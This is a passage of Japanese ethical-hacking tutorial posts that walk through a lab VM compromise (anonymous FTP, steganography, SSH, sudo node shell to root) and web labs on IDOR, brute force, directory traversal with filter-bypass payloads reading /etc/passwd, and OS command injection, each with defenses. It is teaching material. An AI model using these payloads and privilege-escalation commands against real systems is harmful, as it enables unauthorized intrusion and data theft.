|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 ftp      ftp          4096 Sep 04 14:21 pub
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 99e3ec65f0a66efbaeb97e70df35d1e3 (ECDSA)
|_  256 6a5ebecc61bc6636cefb1bad9ba99cc9 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

3つのポートが開いていることがわかります。
まずは、皆さんに一番なじみ深いPort80から見てみましょう。

Port80

Port80とは普段見ているWebサイトで使用されるポートです。(厳密には、HTTPSのサイトではPort443も使用されていますが、いったん置いておきましょう。)
ですので、ブラウザにIPアドレスを打ち込むことでアクセスできます。
実は「http」から始まるURLは、そのWebサーバーのPort80にアクセスしていることになります。
ですので、下記2つは同じになります。

http://10.0.2.26
http://10.0.2.26:80

いちいち「:80」をブラウザ上でつけることはあまりありませんが、つけてもブラウザからアクセスできます。
ブラウザからアクセスすると、「Apache2」のデフォルトページが出てきます。

Apache2 Default Page

どうやらこのページには何もなさそうです。
ではWebアプリケーションの脆弱性の際に学んだ、ディレクトブルートフォースを実行してみましょう。
「dirsearch」を実行します。

┌──(kali㉿kali)-[~]
└─$ dirsearch -u http://10.0.2.26/ 

すると、「/secret」と呼ばれるディレクトリがあることが判明しました。
移動してみると、下記画像の様にユーザーネームとパスワードを求められます。

basic認証

これはBasic認証と呼ばれ、クレデンシャルを知っている人しか閲覧できないように制限をかけるものです。
僕たちはクレデンシャルを持っていないので、ここから先に進むことができません。
一度別のポートを見る必要がありそうです。

Port21

Port21はFTPが稼働していることが多いです。FTPはFile Transfer Protocolの略称で、コンピューター間でファイルを転送する際に使用するプロトコルです。
基本的にFTPではクレデンシャルが必要なことが多いですが、ポートスキャンの結果を見ると、匿名ユーザーでログインできることがわかります。
では匿名ユーザーでFTPにログインしてみましょう。

┌──(kali㉿kali)-[~]
└─$ ftp 10.0.2.26
Connected to 10.0.2.26.
220 (vsFTPd 3.0.5)
Name (10.0.2.26:kali): anonymous
331 Please specify the password.
Password: 
230 Login successful.

ユーザーネームは「anonymous」でパスワードはなんでも大丈夫です。
そして中身を見てみると、「basic_credential.txt」といういかにもなファイルが見つかります。

ftp> ls
229 Entering Extended Passive Mode (|||60631|)
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 Sep 04 14:21 pub
226 Directory send OK.
ftp> cd pub
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||11626|)
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp            38 Sep 01 15:48 basic_credential.txt
226 Directory send OK.
ftp> get basic_credential.txt
local: basic_credential.txt remote: basic_credential.txt
229 Entering Extended Passive Mode (|||46045|)
150 Opening BINARY mode data connection for basic_credential.txt (38 bytes).
100% |*********************************************************************************************************|    38      174.22 KiB/s    00:00 ETA
226 Transfer complete.
38 bytes received in 00:00 (56.14 KiB/s)

お目当てのファイルをダウンロードできたので、FTPから「exit」コマンドでログアウトします。
次に中身を「cat」コマンドで確認してみましょう。

┌──(kali㉿kali)-[~]
└─$ cat basic_credential.txt 
username: 456-aaa
password: Secret123

Basic認証のクレデンシャルが判明しました。
ではもう一度Port80に戻って、「/secret」ディレクトリに移動しましょう。
そして、ユーザーネームとパスワードを入力すると、アクセスできることが分かります。

/secret

メッセージを読んでみると、どうやらここにSSHのパスワードがあるようです。(SSHは後ほど説明します。)
しかし、テキストベースでパスワードは書かれていないようです。となると、ウサギの画像がどうも怪しく思えます。
ダウンロードして、解析してみましょう。

ステガノグラフィ

まずは、画像のメタデータをのぞいてみましょう。
メタデータとは、ユーザーには表示されていないその画像の詳細データです。
下記コマンドにて確認できます。結果と合わせて見てみてください。

┌──(kali㉿kali)-[~/Downloads]
└─$ exiftool rabbit.jpg 
ExifTool Version Number         : 12.57
File Name                       : rabbit.jpg
Directory                       : .
File Size                       : 87 kB
File Modification Date/Time     : 2023:09:28 04:48:06-04:00
File Access Date/Time           : 2023:09:28 04:48:06-04:00
File Inode Change Date/Time     : 2023:09:28 04:48:06-04:00
File Permissions                : -rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : inches
X Resolution                    : 96
Y Resolution                    : 96
Image Width                     : 1024
Image Height                    : 1024
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 1024x1024
Megapixels                      : 1.0

特に重要な情報はなさそうです。
では次にステガノグラフィーを疑ってみましょう。
ステガノグラフィーについてはWikipediaを参照してください。
ja.wikipedia.org
「steghide」というコマンドでステガノグラフィーの確認をできます。
ステガノグラフィーによって秘匿されたメッセージやファイルを抽出するためには、パスワードを入力する必要がありますが、今回はパスワードを設定し忘れていることを願ってパスワードを空白にしてみましょう。

┌──(kali㉿kali)-[~/Downloads]
└─$ steghide extract -sf rabbit.jpg
Enter passphrase: 
wrote extracted data to "ssh_credential.txt".

どうやら、「ssh_credential.txt」というファイルが隠されていたようです。
開いてみると、SSHのクレデンシャルが格納されていることが分かりました。

SSH credential info
username: sam
password: S3cur3_Th3_C0d3!

これでSSHからログインできそうです。

Port22

Port22では通常SSHが稼働しています。SSHとは、Secure Shellの略称で、リモートコンピュータと通信するためのプロトコルです。
つまり、サーバーのユーザーネームとパスワードを所持していれば、サーバーにログインできるということです。
試しに先ほどのクレデンシャルで試してみましょう。

┌──(kali㉿kali)-[~/Downloads]
└─$ ssh sam@10.0.2.26              
The authenticity of host '10.0.2.26 (10.0.2.26)' can't be established.
ED25519 key fingerprint is SHA256:Lm0l2aOYhhk8gpcfaUHur3HqltZOlDNnLtqj7Bnoz1Y.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:1: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.0.2.26' (ED25519) to the list of known hosts.
sam@10.0.2.26's password: 
$ whoami
sam
$ id
uid=1001(sam) gid=1001(sam) groups=1001(sam)

するとターゲットのサーバーにログインできたことが分かります。
「whoami」や「id」などのコマンドを叩いてみても、Kali Linuxと別環境であることがわかるはずです。
これでサーバーへの侵入が完了しました。おめでとうございます。

しかしここで終わりではありません。
権限昇格という仕事が皆さんには残っています。
確かに「sam」というユーザーとしてログインできましたが、最高権限を持っているわけではありません。
Linuxでは通常「root」というユーザーが最高権限であり、rootユーザーを目指しましょう。
rootになることで、サーバーを完全に掌握したと言えます。

権限昇格

Linuxの権限昇格には、「LinPEAS」というツールがお勧めです。
ではターゲットのサーバーに「LinPEAS」をダウンロードして、実行権限を与えましょう。

$ wget https://github.com/carlospolop/PEASS-ng/releases/download/20230924-10138da9/linpeas.sh
$ chmod +x linpeas.sh

そして実行します。

$ ./linpeas.sh

すると、カラフルな結果が返ってくるはずです。その中でオレンジ背景の赤文字が見当たるはずです。

linpeas

これは、権限を昇格する際に高確率で活用できる情報です。
上記画像には、「janet」というユーザーの権限で「node」コマンドを実行できるという情報があります。
「janet」ユーザーが今より権限が高い可能性がありますので、移動してみましょう。
下記記事にて、sudoで「node」を実行できる際に、実行される権限のユーザーになることのできる(シェルを取ることができる)コマンドが書いてあります。
gtfobins.github.io

ではsudoコマンドを利用して、「janet」として「node」を実行してみましょう。

$ sudo -u janet node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
$ id
uid=1000(janet) gid=1000(janet) groups=1000(janet),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),136(sambashare)

実行すると、「janet」ユーザーになっていることが分かります。
「id」コマンドの結果から、「janet」は「sam」より権限が高いのではないかと予想できます。
「sudo」でどのコマンドを実行できるのか確認してみると、root権限で全てのコマンドを実行できることが分かります。
ですので、「sudo bash」にてrootユーザーに権限を昇格させましょう。

$ sudo -l
Matching Defaults entries for janet on janet-VirtualBox:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, pwfeedback

User janet may run the following commands on janet-VirtualBox:
    (ALL) NOPASSWD: ALL
    (root) NOPASSWD: /usr/bin/mintdrivers-remove-live-media
    (root) NOPASSWD: /usr/bin/mint-refresh-cache
    (root) NOPASSWD: /usr/lib/linuxmint/mintUpdate/synaptic-workaround.py
    (root) NOPASSWD: /usr/lib/linuxmint/mintUpdate/dpkg_lock_check.sh
$ sudo bash
root@janet-VirtualBox:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

おめでとうございます。これであなたはrootです。
ターゲットのサーバーを完全に掌握しました。

いかがだったでしょうか。これがペネトレーションテストになります。
サーバーへの侵入の快感を少しでも知ってもらえると嬉しいです。
今回のサーバーは、実際の業務として行うものよりは、CTFと呼ばれるセキュリティコンテストの問題に近いと思います。

対策

先ほどもお伝えしたように、現実世界では今回と同様のサーバーはまずないでしょう。
しかしこのサーバーから様々なことを学ぶことができます。

まずFTPでは、匿名ユーザーでのログインを許可すべきではないことです。
ユーザーネームとパスワードを設定し、攻撃者に侵入されないようにしましょう。
そしてSSHでは、秘密鍵でのログインを強制するべきです。
今回のサーバーではSSHに、ユーザーネームとパスワードだけでログインすることが可能です。
本来これは推奨されておらず、秘密鍵を用いたログイン方法が一般的です。
公開鍵認証を使えば、秘密鍵を所持しているユーザーしかログインできないため、ブルートフォース攻撃などに対して脆弱でなくなります。
またサーバー内では、「sam」→「janet」→「root」への権限の昇格が簡単でした。
侵入されたことを想定して、他ユーザーへ権限を昇格されてしまうおそれのある脆弱性は必ず潰しておく必要があります。

お疲れ様でした。
続いては、もう少し現実味のあるサーバーをハッキングしましょう。

learn-ethicalhacking.hatenablog.com

IDOR(安全でない直接オブジェクトの参照)

次は、IDOR(安全でない直接オブジェクトの参照)です。
日本語名からは複雑な脆弱性に聞こえますが、とてもシンプルな脆弱性です。
シンプルがゆえに悪用されることが多い脆弱性でもあります。

IDORは、Webアプリケーションの脆弱性の1つで、攻撃者がアクセスすべきでないリソースやデータに直接アクセスすることができる状態を指します。この脆弱性は、アプリケーションがユーザーの入力を適切に検証しないことに起因しています。
攻撃者はHTTPパラメータ、またはリクエストのボディで直接オブジェクトのIDやリファレンスを変更することで、他のユーザーのデータにアクセスしたり、そのデータを変更したりすることが可能になります。

例として、以下のようなURLを考えてみましょう

https[:]//example.com/profile?id=123

このページでは、ユーザーID123のプロフィール情報が表示されると仮定します。
例えば攻撃者がこのURLの「id」パラメータを変更して「https[:]//example.com/profile?id=124」へアクセスした場合に、もしアプリケーションが適切な権限検証を行っていなければ、攻撃者はユーザーID124のプロフィール情報にアクセスできるかもしれません。
仮にアクセスが可能な場合、ユーザーID124のメールアドレスやパスワードなどの情報が露呈することも考えられます。

どうですか?とてもシンプルですよね。
しかしIDORは実際に開発者が見逃してしまう事の多い脆弱性でもあります。
では実際に攻撃してみましょう。

まずは普通にファイルをダウンロードして開いてみます。

198.txt

「198.txt」というファイルをダウンロードできました。
何度ボタンを押しても同じファイルがダウンロードされることが分かります。
Burp Suiteでどのようなリクエストを送信しているか見てみましょう。
すると下記画像の様になっていました。

Burp Suite

「fileid」パラメータにファイル名を指定していることがわかりました。
ちなみに実際であれば、先ほど学んだディレクトリトラバーサルなどの脆弱性を疑うべきですが、ここではIDORのみを考えてみましょう。

先ほどのプロフィールの例と同じように、ファイル名の数字部分を変えることで本来ダウンロードできない別のファイルをダウンロードできるかもしれません。
例えば1個前の「197.txt」をダウンロードしてみましょう。

Burp SuiteのRepeater機能で送信してみます。
すると下記画像のような結果になりました。

197.txt

「Good Job!!」というメッセージのテキストファイルがダウンロードできました。攻撃成功です。
本来であれば、このファイルをダウンロードできることが脆弱性であるかどうかを確認することが必要です。
つまり、このファイルをダウンロードできることが、開発者の想定内である可能性があります。IDORが成立したかと思えば、別の画面から普通にダウンロードできるファイルであったというようなケースも多々あります。

IDORは、数字を変更したりユーザーネームを変更したりするだけで比較的簡単に攻撃することができるうえに、開発者が見逃してしまうこともある侮ることのできない脆弱性です。
実際にIDORによって、他ユーザーのパスワードを閲覧することができる状態になったアプリケーションもあります。

対策

対策方法は大きく分けて2つです。
1つ目権限の不備をなくすことです。
ファイルダウンロードプログラムにしても、冒頭でお伝えしたプロフィールの例でも、バックエンドで権限の管理を適切に行う必要があります。
つまりどのユーザーがどのページやファイルにアクセスできるのかを厳密にバリデーションするということです。

2つ目は、予測不能な値であるハッシュ値やUUIDを使用することです。

c8e0d2a5a343d9d573553d6c7ad12b8e5850ebf5f088ce1f9abf56f6479ecef8  // ハッシュ値
abe895d1-26fb-4963-8795-a60e7abd1a88  // UUID

上記の様な予測不能な値を使用することで、IDORへの対策をすることが可能です。
例えば先ほどのファイル名で、「c8e0d2a5a343d9d573553d6c7ad12b8e5850ebf5f088ce1f9abf56f6479ecef8.txt」という値が仮に送信されているのを見ても、他のファイル名を推測することは不可能ですよね。
上記2つの対策を組み合わせることで強力な防御策にすることができます。

Webアプリケーションの脆弱性のまとめ

いかがだったでしょうか。
ここまでで様々なWebアプリケーションの脆弱性を学んできました。
ハッキングという実態のよく分からないものが、少しだけイメージのつくものになったのではないでしょうか?
もちろんハッキングはWebアプリケーションに限った話ではなく、ハードウェアやゲーム、クラウドサービスなどあらゆるものが対象になります。
しかしながら、Webアプリケーションは攻撃の対象となることが非常に多く、情報の漏えいやサーバーへの侵入など、企業にとって甚大な被害を与えることがあります。

今回お伝えできたのは、Webアプリケーションの脆弱性という広い分野でいうと10%に到達しない程度かもしれません。
しかし皆さんは、確実に以前よりWebアプリケーションにどのような脆弱性があるかを知ることができたはずです。
ここで学んだ知識をいつかどこかで何かの役に立てていただければ嬉しいです。

今回の脆弱なWebアプリのソースコードGithubに公開しているので、興味のある方は見てみてください。
初学者にできるだけ分かりやすくプログラムを書いているので、JavaScriptのベストプラクティスに則っていない部分もありますがご了承ください。
github.com

より深くWebアプリケーションの脆弱性を勉強したい方は「Web Security Academy」をお勧めします。
portswigger.net
このサイトでは無料で、様々なWebアプリケーションの脆弱性を学ぶことができます。
このサイト上にあるラボを7割くらいクリアすると、Webアプリの脆弱性診断士として就職できるレベルに到達できるほど、コンテンツが豊富です。(個人的な感覚です。)
ぜひ興味のある方は挑戦してみてください。

続いては、サーバーへの侵入テストである「ペネトレーションテスト」を学びます。
僕が個人的に一番好きな分野ですので、楽しみにしていてください。
またペネトレーションテストでは、サーバーへの侵入の過程でWebアプリケーションの脆弱性を攻撃することも多いので、皆さんがここまでで勉強したことが土台となっていることが実感できると思います。

learn-ethicalhacking.hatenablog.com

ブルートフォース攻撃

ではブルートフォース攻撃に移りましょう。
ブルートフォース攻撃は、サイバーセキュリティの中で原始的でありながら非常に有効な攻撃手法です。

ブルートフォース攻撃とは、暗号や認証のセキュリティを破るための方法の1つで、文字通り「無差別な力」を使って攻撃を試みる手法です。例えば、あらゆる組み合わせのパスワードを試すことで、ターゲットとなるアカウントのパスワードを特定したりします。

今回はブルートフォース攻撃の中の辞書型攻撃を行います。

辞書型攻撃とは、辞書(ワードリスト)に登録されている単語や人物名などを組み合わせたものをパスワードに使用して、システムなどへのログインを試みる方法です。
例えば下記の様なパスワードが含まれています。

  • secret
  • admin
  • password123
  • 123456

一般的に避けるべきパスワードやよく使用されているパスワードがリスト化されたワードリストを用いて総当たり攻撃を行います。
逆に「aa」→「ab」→「ac」といったように全ての可能性(文字列)を試すようなブルートフォース攻撃は今回は扱いません。理由はシンプルで、時間がかかりすぎてしまうからです。

ブルートフォース攻撃 - ログイン

ではブルートフォース攻撃を体験してみましょう。
SQLインジェクションの時に見た様なログインプログラムがあります。一度適当なユーザーネームとパスワードを入力してみましょう。

ログイン失敗

先ほどはSQLインジェクションで突破しましたが、今回はブルートフォース攻撃にて突破します。
ユーザーネームとパスワード両方をブルートフォースしてもよいですが、組み合わせの数があまりに多すぎるため、おすすめできません。
実はユーザーネームは皆さんがすでに知っている方法で取得できます。
探してみましょう。

見つかりましたか?

page source

ページソースを見てると、ユーザーネームがadminであることが判明しました。
では、パスワードだけをブルートフォースしましょう。

ブルートフォース(辞書型攻撃)を実行するには2つのものが必要です。
1つ目はワードリストです。ワードリストは様々なものがGithubに落ちているため、すぐにダウンロードして使用することが可能です。
2つ目はブルートフォースを実行するプログラムです。Pythonなどのプログラミング言語スクリプトを作成することも可能ですが、今回はBurp SuiteのIntruder機能を使いましょう。
Burp SuiteのIntruderを利用することで、ブルートフォースを実行することが可能です。

では先ほど適当なユーザーネームとパスワードでログインしたリクエストを「HTTP history」タブより発見し、右クリックして、「Send to Intruder」を選択しましょう。

Intruder

Intruderタブに移動すると上記画像のような画面にいるはずです。
まずユーザーネームがadminでない人は、adminに変更してください。
そしてパスワードをブルートフォースする用意をしましょう。
github.com
このワードリストをダウンロードしてください。このリストには500個の激弱パスワードが格納されています。

ではBurp Suiteの設定をします。
先ほどの画面で入力したパスワードをカーソルで選択し、右上の「Add$」ボタンを押します。
するとパスワード部分が青色っぽくなったはずです。

Add$

その状態で一個右の「Payloads」タブへ移動します。
そして「Payload settings」より「Load」ボタンを押して、先ほどのワードリストを選択します。(Downloadsフォルダにあるはずです。)
最後に右上の「Start attack」ボタンを押すとブルートフォース攻撃が開始されます。

Start attack

ではどのようにパスワードが当たっていることを判定するかについてお伝えします。
Intruderの結果には、送信したペイロードとStatus code、Lengthなどがあります。
ここで注目したいのがLengthです。
パスワードが当たっていない場合と当たっている場合では、レスポンスに何かしらの違いがあると考えるのが当然です。
つまりはLengthも異なる可能性が高いでしょう。
そこでLengthの文字部分をクリックすると、一番上にLengthの異なるパスワードが表示されるはずです。(一番上に来ない場合はもう一度Lengthを押してみてください。)
そしてResponseを見てみると、ログインに成功していることがわかります。

secret

「secret」がパスワードであることが分かりました。
では正しいユーザーネームとパスワードでログインしてみましょう。するとログインに成功するはずです。
ブルートフォース攻撃はシンプルですが強力な攻撃手法のため、適切な対策を取る必要があります。

ブルートフォース攻撃 - ディレクト

では次にディレクトリのブルースフォース攻撃です。
実はブルートフォース攻撃はパスワードを特定する以外にも、ディレクトリやサブドメインの発見にも役立ちます。
ちなみにURLは今いるページでは下記の様になっています。

http://10.0.2.23:3000/bruteforce-directory

上記URLでは「bruteforce-directory」部分がディレクトリにあたります。先ほどのログインプログラムでは「bruteforce-login」となっていました。
基本的にはユーザーがWebサイトのリンクやボタンなどをクリックすることで画面が遷移しますが、実際に起こっていることは違うディレクトリへと遷移しているイメージです。

ではここで疑問が浮かびます。
実際にクリックして遷移できるディレクトリ以外のディレクトリが存在するのかということです。
実際問題隠れたディレクトリが存在する場合は非常に多く、そこから情報漏えいが発生することも少なくありません。

では実際にディレクトリのブルートフォースをしてみましょう。
ディレクトブルートフォースには様々なツールやワードリストが存在しますが、今回は「dirsearch」を使用します。
「dirsearch」はディレクトブルートフォースのためのツールです。
標準ではKali Linuxにインストールされていないので、インストールしましょう。
下記コマンドでインストールできます。パスワードを求められた際は「kali」と入力してください。

sudo apt update && sudo apt install dirsearch

ではdirsearchでブルートフォースしましょう。

dirsearch -u http://10.0.2.23:3000/  # IPアドレスは皆さんの環境に合わせてください。

すると下記画像の様に「/admin」というディレクトリが存在することが判明しました。

dirsearch

では「/admin」ディレクトリに行ってみましょう。

/admin

すると、「You found me」というメッセージが見つかりました。
今回のようにディレクトリをブルートフォースするだけで機密情報が漏えいできることも少なくありません。
開発者はWebサイト上から一般ユーザーがアクセスできないディレクトリ(ページ)をよく残してしまうのです。

対策

ログインのブルートフォース攻撃への対策はシンプルです。
まずはユーザーに複雑なパスワードを設定させることです。ブルートフォース攻撃は総当たりをしているだけなので、複雑なパスワードであるだけで一気に成功率が低下します。
パスワードを使い回させないことも大切です。なぜなら他のサービスでパスワードが漏えいしていて、そのパスワードがどこかのワードリストに入っている可能性があるからです。
またログインの試行回数を制限することも大切です。例えば5回パスワードを間違えるとアカウントをロックするといったことが考えられます。
皆さんもパスワードを忘れてアカウントがロックされた経験があるかもしれません。

そして2段階認証を設定することも大切です。
仮にユーザーネームとパスワードの組み合わせを当てられたとしても、(フィッシング攻撃以外で)2段階認証を突破することは不可能に近いです。
ですので、ユーザーとしては2段階認証を行うこと、開発者は2段階認証をユーザーに強いることが必要です。

ディレクトリのブルートフォース攻撃への対策は、Basic認証を設定したり、IPアドレスによる制限を行うことで、重要な情報を含んだディレクトリへのアクセスを制限することが大切です。

お疲れ様でした。
次はIDOR(安全でない直接オブジェクトの参照)です。

learn-ethicalhacking.hatenablog.com

ディレクトリトラバーサル

次はディレクトリトラバーサルについて学びましょう。

ディレクトリトラバーサル(「パストラバーサル」とも呼ばれる)は、アプリケーション上で発生する脆弱性の1つで、攻撃者が制限されているはずのディレクトリ外のファイルやディレクトリにアクセスする能力を持つことを指します。この脆弱性は主にWebアプリに見られることが多く、適切な入力検証やサニタイジングが行われていない場合に発生します。

まずディレクトリトラバーサルを理解するうえで、ファイルパスについて理解する必要があります。
ファイルパスとは例えば下記の様なものです。

┌──(kali㉿kali)-[~]
└─$ pwd
/home/kali

pwd」コマンドを実行してみると、「/home/kali」という結果が得られました。
これはルートディレクトリ(/)の中のhomeディレクトリの中のkaliディレクトリに現在いるということです。

では今のディレクトリから1つ上のディレクトリ(上位ディレクトリ)に行くにはどうすればいいでしょうか?
コマンドライン操作に慣れている方にとっては簡単すぎる質問だと思いますが、1つ上のディレクトリに行くには下記の様に「cd」コマンドを実行します。

┌──(kali㉿kali)-[~]
└─$ cd ..

上記の様に「..」にて、1つ上のディレクトリに移動することが可能です。
これは下記のファイルパスがすべて同じディレクトリであることを意味します。

/home/
/home/kali/../
/home/kali/Downloads/../../

上記は全てhomeディレクトリを表します。
つまり「..」の回数分だけ1つ上のディレクトリに戻っているようなイメージです。

では実際にディレクトリトラバーサルを攻撃してみて理解を深めましょう。

ディレクトリトラバーサル(Level1)

まずは「ことわざ選択プログラム」の挙動を見てみましょう。
どうやら3つのことわざから1つ選択し、送信ボタンを押すとそのことわざの中身が返ってくるプログラムのようです。

ことわざ

実際にどのようなデータを送っているかBurp Suiteで見てみましょう。

ことわざ - Burp Suite

すると「filename」パラメータとしてファイル名を送信しているようです。
このようにファイル名を送信しているときは特に、ディレクトリトラバーサルを疑うべきです。
今回は一部サーバーサイドのソースコードを見てみましょう。

  var userInput = req.body.filename;
  var rootdir = "./kotowaza/";
  var filename = path.join(rootdir, userInput);

どうやら、送信されたファイル名と「kotowaza」ディレクトリを結合しているようです。
ではこの記事でお伝えしたファイルパスの知識を応用してみましょう。

filename=../../../../../../etc/passwd

これがユーザーのインプットであると、実は最終的なファイルは「/etc/passwd」になります。

というのは、まず上記のプログラムではカレントディレクトリにある「kotowaza」とユーザーからのファイル名を結合しています。
そして上記の例では、ファイル名が「../../../../../../etc/passwd」となっており、この2つが結合されるとカレントディレクトリ内の「kotowaza」ディレクトリから6つ上位のディレクトリに移動した先の「/etc/passwd」が最終的に表示するファイルになります。
カレントディレクトリがどこかは分かりませんが、6つ上位のディレクトリに移動することで大抵はルートディレクトリにたどり着けます。もちろんルートディレクトリに確実に到達するために、下記の様なペイロードで安全を期すこともできます。

filename=../../../../../../../../../../../etc/passwd

そして、「etc」はルートディレクトリ内にあるディレクトリです。
ですので、先ほどのペイロードディレクトリトラバーサルを発生させることで、本来ことわざしか見られないはずが、サーバーのあらゆるファイルを閲覧することが可能になります。(厳密にはWebアプリを実行しているユーザーの権限で閲覧できるファイルです。)
実際に先ほどのペイロードを送信してみると以下のようになります。

/etc/passwd

レスポンスとして「/etc/passwd」が返ってきました。
ディレクトリトラバーサルでは、「/etc/passwd」だけでなく様々なファイルへのアクセスが可能です。攻撃者がどのようなファイルを閲覧するのか気になる方は、下記リンクに飛んでみてください。
sushant747.gitbooks.io

ディレクトリトラバーサルは、機密情報の漏えいにつながることはもちろんのこと、例えばSSHのプライベートキーを漏えいしてしまうと、サーバーへの侵入が成立するおそれもあります。
SSHのプライベートキーは通常、「/home/username/.ssh/id_rsa」です。仮にディレクトリトラバーサルによってid_rsaが読み取れた場合、ターゲットのサーバーへ下記コマンドでログイン(侵入)することができます。

ssh -i id_rsa <username>@<ip address>

SSH秘密鍵にはパスフレーズを設定することも可能なため、id_rsaを入手しただけではログインできないこともありますが、パスフレーズの強度が弱いとクラックすることができます。

ディレクトリトラバーサル(Level2)

では続いてLevel2に突入しましょう。
Level2でも先ほどと同じペイロードを送信してみましょう。
すると、「Can't read this file.」というエラーが発生します。

Can't read this file

このエラーが発生する原因は不明ですが、何かしらの対策が講じられている可能性を考えましょう。
今回はソースコードをお見せするので、どのように回避できるのか考えましょう。

  var userInput = req.body.filename;
  userInput = userInput.replace(/\.\.\//g, "");
  var rootdir = "./kotowaza/";
  var filename = path.join(rootdir, userInput);

Level1の時との違いは、2行目です。
エスケープ処理が施されているため少しわかりにくいですが、「../」を「」に置換するという意味になります。(実質消すということです。)
さらに今回はXSSの時と違って、「../」がユーザーのインプットに存在すれば何度でも置換を行います。つまり一度だけ置換を行っているわけではないということです。
XSSの時とは別の回避方法を考えましょう。

では正解発表です。

filename=....//....//....//....//....//....//etc/passwd

上記のペイロードを考えてみましょう。
先ほどお伝えしたように、Level2では「../」を「」へと置換します。実際に上記のペイロードから「../」を削除してみてください。
するとLevel1の時と同じペイロードになります。

filename=../../../../../../etc/passwd

実際に送信してみると、「/etc/passwd」がLevel1の時と同じように返ってきます。

/etc/passwd

一見すると「../」を封じられるとディレクトリトラバーサルは成立しないように思えますが、攻撃者は容易に回避することが可能です。
今回は「/etc/passwd」を閲覧するところで止めましたが、ディレクトリトラバーサルソースコード秘密鍵の漏えいに繋がる重大な脆弱性です。しっかりとした対策を講じる必要があります。

対策

対策方法は大きく分けて2つです。
1つはホワイトリストです。今回であればユーザーのインプットは3種類のファイル名のみのはずです。
ですので「kotowaza1.txt」「kotowaza2.txt」「kotowaza3.txt」のみを許可すればよいわけです。
しかし実際のプログラムではそのようなホワイトリストを使えない場面も多いでしょう。

そこで2つ目の対策方法はパスのノーマライズです。
簡単に言うと、「.」や「..」が含まれていた場合に、含まれない形のパスに変換することです。
例えば下記の様になります

ノーマライズする前
data/doc/../pdf/report.pdf

ノーマライズした後
data/pdf/report.pdf

「data/doc/../pdf/report.pdf」がユーザーのインプットであった場合、「data/pdf/report.pdf」へとパスをノーマライズすればよいわけです。

 var userInput = req.body.filename;
 var normalizedPath = path.normalize(userInput);

上記の様にユーザーのインプットを先にノーマライズしておくことで、後ほどディレクトリと結合する際にディレクトリトラバーサルが発生することがなくなります。

お疲れ様でした。
次はブルートフォース攻撃です。

learn-ethicalhacking.hatenablog.com

OSコマンドインジェクション

では続いてOSコマンドインジェクションに移りましょう。

OSコマンドインジェクションは、アプリケーションに存在する深刻な脆弱性の1つです。攻撃者は外部から不正なOSコマンドを注入し、それを実行することが可能です。この攻撃手法ではシステム内で任意のコマンドを実行できるため、情報の漏洩やサーバーの乗っ取りなど、様々な被害が発生する可能性があります。

OSのコマンドとは例えば、Linuxでは「cat」や「ls」などです。環境構築の回で少し触れたと思います。
例えばファイルを開く場面を考えましょう。Pythonでは以下の様にしてファイルを開くことができます。

with open('file.txt', 'r') as file:
    content = file.read()
print(content)

Pythonでは上記の様に、open関数を用いることでファイルを開くことができます。
基本的にPythonでは、open関数を用いてファイルを開きますが、下記の様にLinuxのコマンドを使用することも可能です。

import subprocess

result = subprocess.check_output(['cat', 'file.txt'])
return result.decode('utf-8')

Pythonでは「subprocess」モジュールを使用することで、OSのコマンドを実行することが可能です。
2つのプログラムでは、ファイルを開いて中身を確認するというゴールは一緒です。ゴールは一緒でも、標準関数を使う方法とOSのコマンドを呼び出す方法があります。
今回の例では、標準関数を使用したほうが簡潔にコードを書くことができますが、実行したい内容によっては、OSのコマンドを使用したほうが便利な場面も多々あります。そういった際に、プログラムからOSのコマンドを呼び出します。

そしてOSコマンドインジェクションを理解するうえでもう1つ大切なのが、コマンドセパレータです。
例えばLinuxで「whoami」コマンドと「date」コマンドを同時に実行したい場面があるとします。(実際はないでしょうが...)
そのような時に例えば「;」というコマンドセパレータを使用してみましょう。

whomai;date

画像の様に、2つのコマンドを同時に実行することができました。
コマンドセパレータにはたくさん種類があり、それぞれに特徴があるので、気になる方は下記リンクを参考にしてください。
stackoverflow.com

OSコマンドインジェクションを理解する上で必要な知識は揃いました。
では実際に攻撃してみましょう。

OSコマンドインジェクション(Level1)

Pingプログラム」という画面が表示されたはずです。
名前から想像がつく方もいるかもしれませんが、入力したIPアドレスPingを送信するものです。
Pingを知らない人は下記リンクを参考にしてください。
www.cman.jp
では一度ローカルループバックアドレスである「127.0.0.1」を入力してみましょう。
ちなみにここに入力したIPアドレスにはPingリクエストが実際に送信されるので、適当なIPアドレスはできるだけ入力しないようにお願いします。仮に入力してしまっても、攻撃をしているわけではありませんのでご安心ください。

ブラウザ上ではアウトプットが綺麗に見えないので、Burp Suiteで確認しましょう。

ping

レスポンスからコマンドのアウトプットが確認できます。
アウトプットからLinuxPingコマンドを使用しているのではないかと予想してみましょう。

例えば下記の様なコマンドを実行していると予想できます。

ping -c 4 127.0.0.1  # 127.0.0.1はユーザーが入力する部分

であれば、先ほどお伝えしたコマンドセパレータで任意のコマンドを入力できます。
では「date」コマンドを実行してみましょう。

ping -c 4 127.0.0.1; date

入力する値としては、下記になります。

127.0.0.1;date

